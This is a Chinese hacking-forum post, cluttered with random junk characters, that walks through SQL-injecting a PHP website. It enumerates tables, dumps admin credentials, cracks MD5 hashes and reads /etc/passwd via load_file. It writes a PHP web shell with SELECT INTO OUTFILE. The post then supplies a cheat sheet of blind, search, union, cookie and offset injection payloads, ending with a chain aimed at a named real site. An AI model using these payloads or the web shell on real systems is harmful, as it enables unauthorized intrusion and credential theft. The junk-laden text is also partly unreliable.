我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~2 v1 k+ M/ w, U6 d0 F; E8 U/ N
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
5 M c* N% z/ H7 I% F w# ?) e& p我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。5 U9 i* ^; i2 ~! B0 c8 T( X8 E( b
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
6 z7 o, d, r# [7 E+ k/ N1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
0 g7 _( V* Q. U+ D- C0 [这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
8 C. D" j: B5 g! E! M! cWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
% a% d! D; t* Z. m/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入$ |' b4 j9 w0 n5 D
/ q0 X8 d7 h U# G5 q6 `2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
! n/ a# h6 C' I. V, i/ v, e5 ?3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意3 o q6 R& [3 g) R& e1 A, q/ |
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息7 [2 V2 e+ q6 m; j0 Y' L
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。; ~ }0 ?0 I) D7 S
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
2 @ i. e& h! s" O2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。, | y8 W4 d3 x& p% p) [
我就用的是第二个思路,5 K, Q3 T' |) d9 Y: f5 r
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- ) ~9 F, ^) U) q) W
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,4 g- G( u" E7 T. O Y
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--$ |7 {: s+ v! D) S: Q+ \
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。8 s4 P* C" p* X4 {
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????3 {$ `4 t. d* W: G
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd...../ U; N0 t) K% D) K& C; O5 P
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --8 ~/ g& ~! C- _
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,- W$ J) i6 R( D, r5 f2 L2 n
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
9 t( P- e& X- J5 H" F下面是一些很普遍注入方式资料:, G; _4 ?3 s$ ^' x }0 @- y
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='4 V# h* ]! z; j3 ^8 y5 u: j
拆半法
. O5 I: @( \2 N7 [8 K% t; u- \1 I" L7 N######################################' c7 s% ]8 d4 F: X" o% ^6 |( O w
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
/ O& c- ~$ v2 I8 K3 mand exists (select * from admin)
/ |! i% M) u. X% c8 G$ h. Hand exists(select id from admin)
. O0 J, C% ^2 }4 T& }and exists(select id from admin where id=1)5 S+ T0 J4 [* s$ I4 P. S5 n
and exists(select id from admin where id>1) 5 X" y; P" _6 J9 M" I& t4 j
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
7 l k# j( C+ c: R! a% Land exists (select username from admin)6 z" v% `" Y& w% j
and exists (select password from admin)
+ C+ o& o3 R) w4 Mand exists (select id from admin where len(username)<10 and id=1) W# l2 {7 t6 J/ H* `9 m2 P
and exists (select id from admin where len(username)>5 and id=1)
& _; z2 C& H4 x" V2 I+ aand exists (select id from admin where len(username)=6 and id=1)
0 J/ }* D3 l6 z$ {# @& Land exists (select id from admin where len(password)<10 and id=1)8 B# D# b* z- s5 Q: X8 F
and exists (select id from admin where len(password)>5 and id=1) N0 d2 \2 D9 y+ e6 g
and exists (select id from admin where len(password)=7 and id=1)9 x$ ~+ }4 O7 [/ Q# `- Y9 e F
and (select top 1 asc(mid(username,1,1)) from admin)=979 z) f; U6 ]9 p
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
7 J( W; s9 {# o8 i" k猜第二位把username,1,1改成username,2,1就可以了。, S2 x! t5 r/ ~+ g/ c2 m1 h+ E
猜密码把username改成password就OK了1 j* I' L4 g- W; v
##################################################* B( v# g" u& I2 [/ b
搜索型注入
6 S3 |8 E7 q# @* k##################################
+ A/ S' y; p+ `( x9 g0 u5 X%' and 1=1 and '%'='
$ Z% @5 c& d9 p. D+ D- Z%' and exists (select * from admin) and '%'='
. U, `' V7 F5 p& q- D3 g1 z& j8 e%' and exists(select id from admin where id=1) and '%'='+ M2 i$ t9 C9 J, {! B
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
* H: Q( _4 E$ Z' l' Q%' and exists (select id from admin where len(password)=7 and id=1) and '%'='$ t8 `# E W. R/ l
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='" p! ?- N/ o/ F0 O
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
8 ]$ C( M9 D0 U, J对于MSSQL数据库,后面可以吧 and '%'='换成--/ L: X9 g9 K6 A3 q7 w: R
还有一点搜索型注入也可以使用union语句。' F3 ?9 } s8 T0 j
########################################################" O3 q3 Y9 L( q3 N$ |7 ~# \
联合查询。
" C( w3 v% d- w' Q H#####################################
# i5 J( _4 b. l3 J6 Gorder by 10* _8 O: e: R# C& `
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
$ O }. x3 o! ]and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
{& J9 |% {/ o: F Q+ qand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1& f8 |; q8 o7 h
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)! G6 G' ]. O8 J* L1 o' ?
###################################& b, h5 n( f) g9 h: r9 Z. A2 ]; d
cookie注入0 m( M$ t% i! [' |
###############################2 E" E& {. n, U, \- q) I& x
http://www.******.com/shownews.asp?id=1271 w2 K/ ~. s, Q1 v j5 D% G0 L0 Z
http://www.******.com/shownews.asp
2 ^: [ m& K. s: w5 ~, Palert(="id="+escape("127"));
1 }0 l2 F5 V. d! balert(="id="+escape("127 and 1=1"));
) {# j$ M4 I" T6 y2 Balert(="id="+escape("127 order by 10"));# t, N& f" t {* G2 Q
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
- f6 H8 I; S1 G- `alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
" c+ F/ h# J. _" I这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
/ P/ D; u+ u- `) ]8 }) S###################################
6 i0 R$ B7 A! h2 Q& l偏移注入6 z4 H4 L9 o* b5 B: H1 q
###########################################################
3 b m1 U m3 \1 D8 Runion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
8 g9 L# p' T% O: Xunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
$ v( L. ~0 m2 m6 O# Uunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)+ }. }+ S; }' H6 L9 R( f
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
* u& d7 K: L) {5 B0 r% t% i9 Eunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
) h6 d: @5 v( P$ d; funion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)7 g2 q: o! Z) T7 U; R$ S3 a5 P
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on! |( t9 ?. D$ ~. j8 b
a.id=d.id)' a% o+ W9 w% c6 L x! ~
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)0 V1 Q( M+ y0 Y( T5 ]1 _% A f7 n
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 9 B( r; ^ ]: b' R/ ]: l2 b
, J% m: N+ ~# o7 E============================================================================================================
9 o. P: B! O. u& g8 }7 x2 K. Q9 d$ ^1.判断版本+ p$ G! l6 v4 u2 u. A8 x
and ord(mid(version(),1,1))>51
6 x) E; O. V1 Y! m返回正常,说明大于4.0版本,支持ounion查询7 P; i. p$ @. L+ p# C
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解6 `5 }9 L8 {* G6 @5 k
and 2=4 union select 1,2,3,4,5,6,7,8,9--
# X' [' `$ f7 `$ h8 T. L L3.查看数据库版本及当前用户,
3 n/ w7 r; M$ l+ V! V2 i7 Nand 2=4 union select 1,user(),version(),4,5,6,7,8,9--+ Q/ w8 K; p8 o
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,$ v6 R1 w: F# v6 w5 _0 w' b! p
4.判断有没有写权限4 U( p+ o! K6 e1 r
and (select count(*) from MySQL.user)>0-- ( P% v/ b" T0 N! p
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1* Q& _- {7 W9 }) K$ p: P9 z9 ^
用不了这个命令,就学习土耳其黑客手法,如下+ Z( u$ B7 A* m6 J4 p3 P
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--; Y6 G; V9 @+ g7 v+ U) o7 s( M. a
6.爆表,爆库: P6 F* h5 a5 E- F9 k
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--6 Y! J( }$ q) d x3 j! ?1 D
7.爆列名,爆表
, e4 m# d; o% ?; e. u" dand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
' u/ |+ e7 G: W! Q& e; m8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
" J, X+ P2 w+ q7 yand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
- p- e& S6 Z4 y6 a9.爆字段内容9 ~4 H$ w$ [0 ~- B
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--/ ]0 U( Z5 V" q3 q1 _1 Q
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |